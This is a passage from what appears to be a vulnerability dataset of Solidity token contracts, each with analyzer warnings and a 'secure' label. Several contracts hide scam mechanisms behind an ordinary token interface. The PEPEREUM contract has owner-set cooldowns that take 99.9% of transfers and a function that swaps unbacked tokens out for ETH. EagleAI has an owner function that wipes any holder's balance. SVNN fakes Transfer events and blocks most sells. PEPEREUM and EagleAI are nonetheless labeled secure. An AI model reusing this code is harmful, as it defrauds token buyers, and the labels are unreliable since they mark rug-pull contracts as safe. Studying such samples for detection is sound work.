"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract DickMoji is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _holdings;\n\n mapping(address => mapping(address => uint256)) private _tokenAllowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 596501c): DickMoji._taxAddress should be immutable \n\t// Recommendation for 596501c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed1df98): DickMoji.purchasingTax should be constant \n\t// Recommendation for ed1df98: Add the 'constant' attribute to state variables that never change.\n uint256 public purchasingTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07ac582): DickMoji.sellCommission should be constant \n\t// Recommendation for 07ac582: Add the 'constant' attribute to state variables that never change.\n uint256 public sellCommission = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _numTokens = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DickMoji\";\n\n string private constant _symbol = unicode\"DICKMOJI\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: db68554): DickMoji.minTaxSwap should be constant \n\t// Recommendation for db68554: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f5f8c7): DickMoji.maxTaxSwap should be constant \n\t// Recommendation for 2f5f8c7: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _numTokens / 500;\n\n uint256 public constant max_uint = type(uint256).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private isTradingOpen = false;\n\n bool private Swap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n Swap = true;\n\n _;\n\n Swap = false;\n }\n\n constructor() {\n _taxAddress = payable(_getSender());\n\n _holdings[_getSender()] = _numTokens;\n\n emit Transfer(address(0), _getSender(), _numTokens);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _tokenAllowances[Owner][buyer];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57752ee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57752ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2794571): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2794571: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 57752ee\n\t\t// reentrancy-benign | ID: 2794571\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: 57752ee\n\t\t// reentrancy-benign | ID: 2794571\n _approve(\n payer,\n _getSender(),\n _tokenAllowances[payer][_getSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _numTokens;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function _approve(address operator, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(operator != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: 2794571\n _tokenAllowances[operator][buyer] = amount;\n\n\t\t// reentrancy-events | ID: 57752ee\n emit Approval(operator, buyer, amount);\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(\n address _address\n ) public view override returns (uint256) {\n return _holdings[_address];\n }\n\n function approve(\n address payer,\n uint256 amount\n ) public override returns (bool) {\n _approve(_getSender(), payer, amount);\n\n return true;\n }\n\n function transfer(\n address buyer,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_getSender(), buyer, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4766fc1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4766fc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 480073f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 480073f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address supplier,\n address purchaser,\n uint256 amount\n ) private {\n require(\n supplier != address(0),\n \"ERC20: transfer from the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(purchaser != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 taxAmount = 0;\n\n if (\n supplier != getTheOwner() &&\n purchaser != getTheOwner() &&\n purchaser != _taxAddress\n ) {\n if (supplier == uniswap && purchaser != address(uniswapV2Router)) {\n taxAmount = amount.mul(purchasingTax).div(100);\n } else if (purchaser == uniswap && supplier != address(this)) {\n taxAmount = amount.mul(sellCommission).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !Swap &&\n purchaser == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 _toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 4766fc1\n\t\t\t\t// reentrancy-eth | ID: 480073f\n swapTokensForEth(amount > _toSwap ? _toSwap : amount);\n\n uint256 _contractETHBalance = address(this).balance;\n\n if (_contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4766fc1\n\t\t\t\t\t// reentrancy-eth | ID: 480073f\n sendETHToFee(_contractETHBalance);\n }\n }\n }\n\n (uint256 amountIn, uint256 amountOut) = taxing(\n supplier,\n amount,\n taxAmount\n );\n\n require(_holdings[supplier] >= amountIn);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 480073f\n _holdings[address(this)] = _holdings[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4766fc1\n emit Transfer(supplier, address(this), taxAmount);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 480073f\n _holdings[supplier] -= amountIn;\n\n\t\t\t// reentrancy-eth | ID: 480073f\n _holdings[purchaser] += amountOut;\n }\n\n\t\t// reentrancy-events | ID: 4766fc1\n emit Transfer(supplier, purchaser, amountOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: 57752ee\n\t\t// reentrancy-events | ID: 4766fc1\n\t\t// reentrancy-benign | ID: 2794571\n\t\t// reentrancy-eth | ID: 480073f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: 66aa178): DickMoji.sendETHToFee(uint256) ignores return value by _taxAddress.call{value ethAmount}()\n\t// Recommendation for 66aa178: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: aebc367): DickMoji.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxAddress.call{value ethAmount}()\n\t// Recommendation for aebc367: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 57752ee\n\t\t// reentrancy-events | ID: 4766fc1\n\t\t// reentrancy-benign | ID: 2794571\n\t\t// unchecked-lowlevel | ID: 66aa178\n\t\t// reentrancy-eth | ID: 480073f\n\t\t// arbitrary-send-eth | ID: aebc367\n _taxAddress.call{value: ethAmount}(\"\");\n }\n\n function taxing(\n address source,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(source != uniswapV2Pair ? 0 : total),\n total.sub(source != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f7b1c2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f7b1c2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6b5b273): DickMoji.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for 6b5b273: Check that the address is not zero.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d8749ad): DickMoji.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for d8749ad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9274e08): DickMoji.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getTheOwner(),block.timestamp)\n\t// Recommendation for 9274e08: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d5c970a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d5c970a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading(address _pair, bool _isEnabled) external onlyOwner {\n require(!isTradingOpen, \"trading is already open\");\n\n require(_isEnabled);\n\n\t\t// missing-zero-check | ID: 6b5b273\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: f7b1c2c\n\t\t// reentrancy-eth | ID: d5c970a\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: f7b1c2c\n\t\t// unused-return | ID: 9274e08\n\t\t// reentrancy-eth | ID: d5c970a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getTheOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f7b1c2c\n\t\t// unused-return | ID: d8749ad\n\t\t// reentrancy-eth | ID: d5c970a\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: f7b1c2c\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d5c970a\n isTradingOpen = true;\n }\n\n function get_sellingTax() external view returns (uint256) {\n return sellCommission;\n }\n\n function get_purchasingTax() external view returns (uint256) {\n return purchasingTax;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return isTradingOpen;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1319.sol",
"secure": 0,
"size_bytes": 14476
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_132.sol",
"secure": 1,
"size_bytes": 200
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8c8a4f2): Contract locking ether found Contract SAmsungTOshibaNAKAmichiMOTOrola has payable functions SAmsungTOshibaNAKAmichiMOTOrola.receive() But does not have a function to withdraw the ether\n// Recommendation for 8c8a4f2: Remove the 'payable' attribute or add a withdraw function.\ncontract SAmsungTOshibaNAKAmichiMOTOrola is ERC20, Ownable {\n constructor()\n ERC20(\n unicode\"SAmsungTOshibaNAKAmichiMOTOrola\",\n unicode\"SATOSHI NAKAMOTO\"\n )\n {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8c8a4f2): Contract locking ether found Contract SAmsungTOshibaNAKAmichiMOTOrola has payable functions SAmsungTOshibaNAKAmichiMOTOrola.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 8c8a4f2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1320.sol",
"secure": 0,
"size_bytes": 1207
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GNOME is ERC20, Ownable {\n constructor() ERC20(\"GNOME\", \"GNOME\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1321.sol",
"secure": 1,
"size_bytes": 340
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract EagleAI is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable responsibility;\n\n constructor() {\n _name = \"EagleAI\";\n\n _symbol = \"EAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 74700000000;\n\n responsibility = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == responsibility, \"Not allowed\");\n\n _;\n }\n\n function french(address[] memory airpollution) public onlyOwner {\n for (uint256 i = 0; i < airpollution.length; i++) {\n address account = airpollution[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1322.sol",
"secure": 1,
"size_bytes": 4396
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 501ecb8): Contract locking ether found Contract MyEyesOpenVVide has payable functions MyEyesOpenVVide.receive() But does not have a function to withdraw the ether\n// Recommendation for 501ecb8: Remove the 'payable' attribute or add a withdraw function.\ncontract MyEyesOpenVVide is ERC20, Ownable {\n constructor() ERC20(unicode\"My Eyes Open VVide\", unicode\"MEOVV\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 501ecb8): Contract locking ether found Contract MyEyesOpenVVide has payable functions MyEyesOpenVVide.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 501ecb8: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1323.sol",
"secure": 0,
"size_bytes": 1052
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PEPEREUM is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3099f3c): PEPEREUM._decimals should be constant \n\t// Recommendation for 3099f3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a565e0a): PEPEREUM._totalSupply should be immutable \n\t// Recommendation for a565e0a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: a50dbb8): PEPEREUM._name should be constant \n\t// Recommendation for a50dbb8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 651e404): PEPEREUM._symbol should be constant \n\t// Recommendation for 651e404: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ed5936): PEPEREUM.uniV2Router should be constant \n\t// Recommendation for 0ed5936: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b344ec): PEPEREUM._taxWallet should be immutable \n\t// Recommendation for 6b344ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function forreleaseat() public {}\n\n function atreleasefor() external {}\n\n function programfor() public {}\n\n function programto() public {}\n\n function toSwapExact(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function burnalllp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1324.sol",
"secure": 1,
"size_bytes": 7070
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract SVNN is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: d84e0a0): SVNN._e242 should be constant \n\t// Recommendation for d84e0a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e6324fb): SVNN.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for e6324fb: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0x0A30ccEda7f03B971175e520c0Be7E6728860b67);\n\n\t\t// missing-zero-check | ID: e6324fb\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x7aA2B03ddD79Eb45d8D4c432C8ec11A35F7a7D0c &&\n from != 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 &&\n from != 0xaf376861670Cc48dCD091fbd86b55451dF41744E)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"SVNN\";\n\n _symbol = unicode\"SVNN\";\n\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1325.sol",
"secure": 0,
"size_bytes": 6541
}
|
{
